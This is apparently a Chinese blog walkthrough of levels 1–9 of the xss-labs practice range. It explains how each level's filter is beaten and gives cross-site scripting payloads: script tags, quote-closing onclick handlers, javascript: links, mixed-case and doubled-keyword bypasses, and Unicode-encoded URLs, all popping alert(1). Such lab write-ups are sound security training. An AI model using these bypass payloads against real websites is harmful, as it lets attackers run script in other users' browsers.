🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦
【XSS】xss-labs 靶场通关(1-9)
第一关 level1
查看网站源码,可以发现get传参name的值test插入了html里头
直接在url后加上JS语句即可
<script>alert(1)</script>
第二关 lever2
查看网页源码发现和第一关差不多,先在url后加上JS语句试试
发现报错
再次查看源码,发现JS语句被包在" "
中没有执行
应该闭合" "
"> <script>alert(1)</script>
第三关 level3
先输入123456,然后查看网站源码
所以还是闭合问题,输入第二题的JS语言试试
发现报错
用单引号'
闭合试试,还是报错,检查源代码
发现符号被过滤
我们可以利用onclick绕过<>号的过滤来达到执行js的目的
在文本框输入:
' οnclick='javascript:alert(1)
再次点击文本框即可触发绕过通关
第四关 level4
查看网页源码,发现还是input 的双引号" "
闭合
将第三关的单引号换成双引号,再次点击文本框即可触发绕过通关
" οnclick="javascript:alert(1)
第五关 level5
查看源代码,先用上一题的绕过语句试试
插入语句后发现原本的onclick
被替换成o_nclick
,而且双引号"
被过滤
所以我们用超链接注入
"> <a href="javascript:alert(1)">level5</a>
点击level5
即可通关
第六关 level6
查看源代码发现和前几关一样,随便输入先试试过滤了些什么
"> <a href="javascript:alert(1)">level5</a>
果然报错,查看源代码
发现符号全被过滤
用大小写绕过试试
"> <a hREf="javascript:alert(1)">level6</a>
发现成功绕过
点击level6
即可通关
第七关 level7
源码和之前一样,先随便输入看看
" > <a hREF="javascript:alert(1)">level7</a>
发现还是符号全过滤,hERF
、script
也被删掉了
我们可以用双写绕过
例:
script
写作scrscriptipt
相当于scr(script)ipt
,中间的script
被删掉后两边的字母又可以拼接成一个script
" > <a hrhrefef="javascrscriptipt:alert(1)">level7</a>
这里是将 herf 和 script 做了双写绕过
成功绕过:
第八关 level8
先随便输入看看
" > <a hREF="javascrscriptipt:alert(1)">level7</a>
查看源码发现输入的值插入了两个地方
符号被过滤,href
、script
插入下划线,下方存在一个a href
,大写字母被替换为小写
我们可以试着插入一段js伪协议
javascript:alert(1)
用在线Unicode编码解码 - 码工具进行Unicode编码
在文本框输入Unicode编码
javascript:alert(1)
点击友情链接
即可
第九关 level9
先随便输入看看
" > <a hREF="javascrscriptipt:alert(1)">level9</a>
发现href未插入成功
链接不合法就插入一个合法链接(向传入的值里面添加http://)
http://
用注释符注释掉,即/* http:// */
用Unicode编码后插入
javascript:alert()/* http:// */
点击友情链接
即可